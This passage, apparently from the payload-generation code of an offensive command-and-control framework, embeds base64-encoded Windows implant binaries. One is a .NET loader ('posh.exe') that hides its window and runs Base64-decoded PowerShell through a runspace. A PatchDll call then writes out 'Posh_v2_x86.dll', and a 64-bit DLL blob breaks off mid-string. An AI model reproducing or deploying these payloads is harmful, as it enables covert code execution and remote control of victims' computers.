AYAAOwAAAAjQmxvYgAAAAAAAAACAAABVx0CHAkAAAAA+gEzABYAAAEAAAASAAAAAgAAAAIAAAAGAAAABAAAABcAAAACAAAAAgAAAAMAAAACAAAAAgAAAAIAAAABAAAAAgAAAAAACgABAAAAAAAGACsAJAAGALIAkgAGANIAkgAGABQB9QAKAIMBXAEKAJMBXAEKALABPwEKAL8BXAEKANcBXAEGAB8CAAIKACwCPwEGAE4CQgIGAHcCXAIGALkCpgIGAM4CJAAGAOsCJAAGAPcCQgIGAAwDJAAAAAAAAQAAAAAAAQABAAEAEAATAAAABQABAAEAVoAyAAoAVoA6AAoAAAAAAIAAkSBCABcAAQAAAAAAgACRIFMAGwABAFAgAAAAAIYYXgAhAAMAXCAAAAAAlgBkACUAAwAQIQAAAACWAHUAKgAEAHghAAAAAJYAewAvAAUAAAABAIAAAAACAIUAAAABAI4AAAABAI4AEQBeADMAGQBeACEAIQBeADgACQBeACEAKQCcAUYAMQCrASEAOQBeAEsAMQDIAVEAQQDpAVYASQD2ATgAQQA1AlsAMQA8AiEAYQBeACEADACFAmsAFACTAnsAYQCfAoAAcQDFAoYAeQDaAiEACQDiAooAgQDyAooAiQAAA6kAkQAUA64AiQAlA7QACAAEAA0ACAAIABIALgALAMMALgATAMwAjgC6AL8AJwE0AWQAdAAAAQMAQgABAAABBQBTAAIABIAAAAAAAAAAAAAAAAAAAAAA8AAAAAIAAAAAAAAAAAAAAAEAGwAAAAAAAQAAAAAAAAAAAAAAPQA/AQAAAAAAAAAAADxNb2R1bGU+AHBvc2guZXhlAFByb2dyYW0AbXNjb3JsaWIAU3lzdGVtAE9iamVjdABTV19ISURFAFNXX1NIT1cAR2V0Q29uc29sZVdpbmRvdwBTaG93V2luZG93AC5jdG9yAEludm9rZUF1dG9tYXRpb24AUnVuUFMATWFpbgBoV25kAG5DbWRTaG93AGNtZABTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAcG9zaABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbAB1c2VyMzIuZGxsAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMAUnVuc3BhY2VGYWN0b3J5AFJ1bnNwYWNlAENyZWF0ZVJ1bnNwYWNlAE9wZW4AUnVuc3BhY2VJbnZva2UAUGlwZWxpbmUAQ3JlYXRlUGlwZWxpbmUAQ29tbWFuZENvbGxlY3Rpb24AZ2V0X0NvbW1hbmRzAEFkZFNjcmlwdABTeXN0ZW0uQ29sbGVjdGlvbnMuT2JqZWN0TW9kZWwAQ29sbGVjdGlvbmAxAFBTT2JqZWN0AEludm9rZQBDbG9zZQBTeXN0ZW0uVGV4dABTdHJpbmdCdWlsZGVyAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAElFbnVtZXJhdG9yYDEAR2V0RW51bWVyYXRvcgBnZXRfQ3VycmVudABBcHBlbmQAU3lzdGVtLkNvbGxlY3Rpb25zAElFbnVtZXJhdG9yAE1vdmVOZXh0AElEaXNwb3NhYmxlAERpc3Bvc2UAVG9TdHJpbmcAU3RyaW5nAFRyaW0ARW5jb2RpbmcAZ2V0X1VuaWNvZGUAQ29udmVydABGcm9tQmFzZTY0U3RyaW5nAEdldFN0cmluZwAAAAMgAAAAAAASJrxRf3rFQo0hxG1QXPnvAAi3elxWGTTgiQIGCAQAAAAABAUAAAADAAAYBQACAhgIAyAAAQQAAQ4OBAABAQ4DAAABBCABAQgEIAEBDggxvzhWrTZONQQAABIZBSABARIZBCAAEiEEIAASJQggABUSKQESLQYVEikBEi0IIAAVEjUBEwAGFRI1ARItBCAAEwAFIAESMRwDIAACAyAADhoHCRIZEh0SIRUSKQESLRIxEi0OFRI1ARItAgQAABJFBQABHQUOBSABDh0FBAcCGA4DBwEYCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQC8KAAAAAAAAAAAAADeKAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0CgAAAAAAAAAAAAAAAAAAAAAAAAAAF9Db3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAA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AAAAHYw0TEsMpMyrjLBMscyAAAA4AAAZAEAAEgxUDFcMWAxZDFwMXQxeDGQMZgxnDGgMaQxqDGsMbAxyDHMMdAx5DHoMewxCDIsMjAyNDJIMkwyUDJwM3QzeDN8M4AzhDOIM4wzkDOUM5gznDOgM6QzqDOsM7AztDO4M7wzwDPEM8gzzDPQM9Qz2DPcM+Az5DPoM+wz8DP0M/gz/DMANAQ0CDQMNBA0FDQYNBw0IDQkNCg0LDQwNDQ0ODQ8NEA0RDRINEw0UDRUNFg0XDRgNGQ0aDRsNHA0dDR4NHw0gDSENIg0jDSQNJQ0mDScNKA0pDSoNKw0sDS0NLg0vDTANMQ0yDTMNNA01DTYNNw04DTkNOg07DTwNPQ0+DT8NAA1mDugO6g7rDuwO7Q7uDu8O8A7xDvMO9A71DvYO9w74DvkO+g79Dv8OwA8BDwIPAw8EDwUPBg8HDwgPCQ8KDwsPDA8NDw4PDw8QDxEPEg8TDxQPFQ8WDxcPADwAABUAQAAqDKsMrAytDJINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2jDaQNpQ2mDacNqA2pDaoNqw2sDa0Nrg2vDbANsQ2yDbMNtA21DbYNtw24DbkNug27DbwNvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDdwN3Q3eDd8N4A3hDeIN4w3kDeUN5g3nDegN6Q3qDe0Pbw9xD3MPdQ93D3kPew99D38PQQ+DD4UPhw+JD4sPjQ+PD5EPkw+VD5cPmQ+bD50Pnw+hD6MPpQ+nD6kPqw+tD68PsQ+zD7UPtw+5D7sPvQ+/D4EPww/FD8cPyQ/LD80Pzw/RD9MP1Q/XD9kP2w/dD98P4Q/jD+UP5w/pD+sP7Q/vD/EP8w/1D/cP+Q/7D/0P/w/AAAAAAEAiAEAAAQwDDAUMBwwJDAsMDQwPDBEMEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDDUMNww5DDsMPQw/DAEMQwxFDEcMSQxLDE0MTwxRDFMMVQxXDFkMWwxdDF8MYQxjDGUMZwxpDGsMbQxvDHEMcwx1DHcMeQx7DH0MfwxBDIMMhQyHDIkMiwyNDI8MkQyTDJUMlwyZDJsMnQyfDKEMowylDKcMqQyrDK0MrwyxDLMMtQy3DLkMuwy9DL8MgQzDDMUMxwzJDMsMzQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw02D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/gD+IP5A/mD+gP6g/sD+4P8A/yD/QP9g/4D/oP/A/+D8AAAAQAQCQAQAAADAIMBAwGDAgMCgwMDA4MEAwSDBQMFgwYDBoMHAweDCAMIgwkDCYMKAwqDCwMLgwwDDIMNAw2DDgMOgw8DD4MAAxCDEQMRgxIDEoMTAxODFAMUgxUDFYMWAxaDFwMXgxgDGIMZAxmDGgMagxsDG4McAxyDHQMdgx4DHoMfAx+DEAMggyEDIYMiAyKDIwMjgyQDJIMlAyWDJgMmgycDJ4MoAyiDKQMpgyoDKoMrAyuDLAMsgy0DLYMuAy6DLwMvgyADMIMxAzGDMgMygzMDM4M0AzSDNQM1gzYDNoM3AzeDOAM4gzkDOYM6AzqDOwM7gzwDPIM9Az2DPgM+gz8DP4MwA0CDQQNBg0IDQoNDA0ODRANEg0UDRYNGA0aDRwNHg0gDSINJA0mDSgNKg0sDS4NMA0yDTQNNg04DToNPA0+DQANQg1EDUYNSA1KDUwNTg1QDVINVA1WDVgNWg1cDV4NYA1iDWQNZg1oDWoNbA1uDXANcg10DXYNeA16DXwNdo/3j/iP+Y/AAAAIAEAjAAAAIw5lDmcOaQ5rDm0Obw5xDnMOdQ53DnkOew59Dn8OQQ6DDoUOhw6JDosOjQ6PDpEOkw6VDpcOmQ6bDpMPFA8WDy0PLg8yDzMPNQ87Dz8PAA9ED0UPRw9ND1EPUg9WD1cPWA9aD2APZA9lD2kPag9rD2wPbg90D3gPeQ99D34Pfw9BD4cPgAwAQDIAAAAjDGYMbwx3DHkMewx9DH8MQQyEDIwMjgyQDJIMlAyWDJ0MngygDKIMpAymDKsMsgy6DIEMwgzJDMoMzAzODNAM0QzTDNgM2gzfDOEM4wzlDOYM5wzpDO4M9Qz2DP0M/gzGDQgNCQ0QDRINEw0XDSANIw0lDS8NMA0yDTQNNg03DTkNPg0GDU4NUA1RDVgNYA1nDWgNcA14DUANiA2QDZgNoA2oDbANuA2ADcgN0A3TDdoN4g3qDfIN+g3BDgIOAAAAEABAEgAAAAAMJA1mDXINdg16DX4NQg2IDYsNjA2NDZQNlQ2IDckNyg3LDcwNzQ3ODc8N0A3RDdQN1Q3WDdcN2A3ZDdoN2w3AJABABQAAAAAOhw6NDpQOmw6lDoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + self.PatchDll("%sPosh_v2_x86.dll" % name, v2_86, 0x00012F80, "DLL") + v2_64 = "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